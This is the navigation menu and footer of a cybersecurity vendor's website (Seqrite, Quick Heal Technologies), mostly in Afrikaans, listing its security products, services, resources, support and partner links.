  • Endpoint Detection and Response
  • Mobile Device Management
  • BJET
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • Op die perseel
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • platform
  • Malware Analysis Platform
  • Mikrobesigheid
  • SOHO Total Edition
  • Dienste
  • Threat Intel
  • Digital Risk Protection Services (DRPS)
  • Ransomware Recovery as a Services (RRaaS)
  • DPDP Compliance
  • Managed Detection and Response
  • Kubersekuriteit & Data Privacy Bewustheid
hulpbronne
  • blogs
  • White Papers
  • Datavelle
  • Bedreigingsverslae
  • Handleidings
  • PoV
  • begrip Data Privacy
  • DPDP Dialoë
  • Beleid en Nakoming
  • EULA
  • GoDeep.KI
  • SIA
  • Privaatheidsuur
Kontak Ons
  • Geregistreerde kantore
  • Kom ons praat oor kuberveiligheid
Ondersteuning
  • Tegniese ondersteuning
  • Laai sagteware af
  • Vanlyn Opdaterer
  • Firmware-opgraderings
  • Opgraderings
  • Produk Dokumentasie
Oor Ons
  • Oor Seqrite
  • Leierskap
  • Toekennings en erkenning
  • Nuus
vennoot
  • Vennootprogram
  • Vind Vennoot
  • Word 'n Vennoot
  • Seqrite sertifisering

© 2026 Quick Heal Technologies Bpk.

Webkaart Privaatheidsbeleid regskennisgewings Koekiebeleide Terme van die gebruik